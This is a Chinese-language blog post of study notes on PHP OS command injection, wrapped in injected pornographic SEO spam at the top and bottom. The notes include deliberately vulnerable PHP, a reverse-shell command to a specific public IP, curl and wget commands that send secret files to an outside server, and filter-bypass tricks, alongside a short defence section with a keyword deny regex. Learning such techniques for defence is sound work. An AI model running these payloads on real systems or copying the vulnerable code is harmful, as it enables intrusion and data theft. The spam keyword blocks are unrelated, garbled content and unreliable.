<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12
      Title

      每日一句

      命令執(zhí)行學(xué)習(xí)

      一、編寫存在命令注入的代碼

      1.windows環(huán)境

      <?php
          $target=$_REQUEST['ip'];
          $cmd = shell_exec('ping '.$target);
          echo "<pre>{$cmd}</pre>";
      ?>

      測試:http://127.0.0.1/1.php?ip=|net user

      命令執(zhí)行相關(guān)的函數(shù);

      system()

      system函數(shù)可執(zhí)行并直接顯示結(jié)果

      passthru()

      執(zhí)行有回顯,將執(zhí)行結(jié)果輸出到頁面上

      exec()

      執(zhí)行無回顯,默認返回最后一行結(jié)果

      shell_exec()

      默認無回顯,通過 echo 可將執(zhí)行結(jié)果輸出到頁面

      popen()

      函數(shù)需要兩個參數(shù),一個是執(zhí)行的命令command,另外一個是指針文件的連接模式mode,有rw代表讀和寫。

      函數(shù)不會直接返回執(zhí)行結(jié)果,而是返回一個文件指針,但是命令已經(jīng)執(zhí)行。

      ` `

      反引號里面的代碼也會被當作OS命令來執(zhí)行

      命令執(zhí)行漏洞有時候要搭配管道符來進行實現(xiàn),下面是Windows下的管道符

      |      直接執(zhí)行|后面的命令
      ||     如果前面的語句執(zhí)行出錯,則執(zhí)行后面的語句,前面的語句只能為假
      &      如果前面的語句為假,則直接執(zhí)行后面的語句,前面的語句可真可假
      &&     如果前面的語句為假,則直接出錯,也不執(zhí)行后面的語句,前面的語句只能為真

      2.Linux環(huán)境

      <?php
      if (isset($_GET['cmd']))
      {
      	echo "<pre>";
      	system($_GET['cmd']);  //在URL中給cmd賦值就可以執(zhí)行不同的命令了
      }
      else
      {
      	echo "?cmd=null";
      }
      ?>
      

      測試:

      二、命令執(zhí)行的利用

      1.有回顯

      • 獲取敏感數(shù)據(jù)
      • 獲取當前操作系統(tǒng)版本和內(nèi)核信息
      • 獲取當前用戶名和密碼

      2.無回顯

      (1)如果無回顯,如何判斷注入的命令是否執(zhí)行?

      • 延時:cmd=ls|sleep 5(linux)或者ping -n 3 127.0.0.1(windows)
      • DNS獲取回顯:cmd=curl `命令`.域名
      • 反彈shell

      自己公網(wǎng)服務(wù)器nc -vv -lp 8888

      目標服務(wù)器:cmd=bash+-i+>&+/dev/tcp/47.95.206.199/8888+0>&1

      (2)確定了命令執(zhí)行了,如何把執(zhí)行結(jié)果,或者文件帶出來?

      Burp的Collaborator Client工具

      復(fù)制burp工具的鏈接 http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net

      執(zhí)行如下命令:

      cmd=curl -X POST -F xx=@flag.php http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net

      然后在burp查看結(jié)果

      curl命令:

      cURL是用于使用各種協(xié)議傳輸數(shù)據(jù)的庫和命令行工具,并且是用于數(shù)據(jù)滲透的非常有用的工具。如果易受攻擊的服務(wù)器具有cURL,我們可以使用它來將文件發(fā)送到惡意Web服務(wù)器或使用其他協(xié)議(例如FTP / SCP / TFTP / TELNET等)傳輸文件。

      一旦發(fā)現(xiàn)了OS命令注入漏洞,可以使用以下命令將文件的內(nèi)容發(fā)送到我們的web服務(wù)器:

      cat /path/to/file | curl –F “:data=@-“ http://xxx.xxx.xxx.xxxx:xxxx/test.txt

      示例:http;//127.0.0.1/1.php?cmd=ifconfig | cat /path/to/file | curl –F “:data=@-“ http://xxx.xxx.xxx.xxxx:xxxx/test.txt

      wget讀取源代碼

      wget –post-data exfil=`cat /data/secret/secretcode.txt`&b=1 http://xxx.xxx.xxx.xxx:xxxx

      wget可以使用post-data參數(shù)發(fā)送post請求

      上面命令的意思就是在目標服務(wù)器讀取/data/secret/secretcode.txt文件內(nèi)容作為post數(shù)據(jù),然后上傳到自己的服務(wù)器

      wget –post-file trophy.php http://xxx.xxx.xxx.xxx:xxxx

      而post-file參數(shù)則是為了將文件上傳到自己的服務(wù)器,可以用來讀取源代碼文件。

      三、如何防御

      • 用正則表達式匹配用戶輸入的危險命令
      <?php
      
      $res = FALSE;
      
      if (isset($_GET['ip']) && $_GET['ip']) {
          $ip = $_GET['ip'];
          $m = [];
          if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
              $cmd = "ping -c 4 {$ip}";
              exec($cmd, $res);
          } else {
              $res = $m;
          }
      }
      ?>
      • 減少或不使用代碼或命令執(zhí)行函數(shù)
      • 客戶端提交的變量在放入函數(shù)前進行檢測
      • 減少或不使用危險函數(shù)
      • 在用戶的輸入會影響命令執(zhí)行的情兄下,應(yīng)將用戶輸入限制為從預(yù)定的安全命令集合中進行選擇。如果輸入中出現(xiàn)了惡意的內(nèi)容傳遞到命令執(zhí)行函數(shù)的值將默認從安全命令集合中選擇,或者程序?qū)⒕芙^執(zhí)行任何命令。

      常見繞過:

      • 在windows環(huán)境下,命令可以不區(qū)分大小寫
      whoami //正常執(zhí)行
      w"h"o"a"m"i //正常執(zhí)行
      w"h"o"a"m"i" //正常執(zhí)行
      wh""o^a^mi //正常執(zhí)行
      wh""o^am"i //正常執(zhí)行
      ((((Wh^o^am""i))))//正常執(zhí)行

      linux下

      wh\oami
      wh$1oami
      who$@ami
      whoa$*mi
      • 雙引號過濾
      • 變量拼接

      windows

      set a=who
      set b=ami
      %a%%b%//正常執(zhí)行whoami
      
      set a=w""ho
      set b=a^mi
      %a%%b%//根據(jù)前一知識點進行組合,正常執(zhí)行whoami
      
      set a=ser&&set b=ne&&set c=t u && call %b%%c%%a%
      //在變量中設(shè)置空格,最后調(diào)用變量來執(zhí)行命令

      linux

      t=l; j=s; i=" -al"; $t$j$i
      a=who
      b=ami
      $a$b 
      
      • 在linux下我們還可以使用大花括號來繞過空格的限制,比如ls -alt命令中間的空格,{ls,-alt}
      • 或者在Linux下使用通配符去匹配文件。
      posted @ 2022-10-29 15:39  江公  閱讀(409)  評論(0)    收藏  舉報
      Title

      每日一句

      主站蜘蛛池模板: 日韩精品中文字幕一线不卡 | 秋霞人妻无码中文字幕| 99久久国产一区二区三区| 一本色道婷婷久久欧美| 精品尤物TV福利院在线网站| 激情内射亚州一区二区三区爱妻 | 国语对白做受xxxxx在线中国| 国产成人av一区二区三区不卡| 成人一区二区人妻不卡视频| 噜噜久久噜噜久久鬼88| 91中文字幕一区二区| 久久99精品国产麻豆婷婷| 宅男噜噜噜66在线观看| 日韩激情一区二区三区| 少妇午夜福利一区二区三区| 精品剧情V国产在线观看| 精品少妇爆乳无码aⅴ区| 被灌满精子的少妇视频| 国产国产人免费人成免费| 亚洲中文字幕无码专区| 亚洲天堂av日韩精品| 国产热A欧美热A在线视频| 东北女人毛多水多牲交视频| 平阴县| 中文字幕久区久久中文字幕| 91精品国产午夜福利| 中文字幕无码精品亚洲35| 久久一级精品久熟女人妻| 亚洲中文字幕一区二区| 97亚洲熟妇自偷自拍另类图片| 国产精品久久久久久福利69堂| 日韩有码中文字幕一区二区| 成人精品一区日本无码网| 婷婷六月天在线| 91亚洲国产成人精品福利| 色综合久久久久综合体桃花网 | 中文字幕 制服 亚洲 另类| 亚洲精品一区二区三区免| 欧美videos粗暴| 欧美人与动牲交a免费| 欧美另类精品xxxx人妖|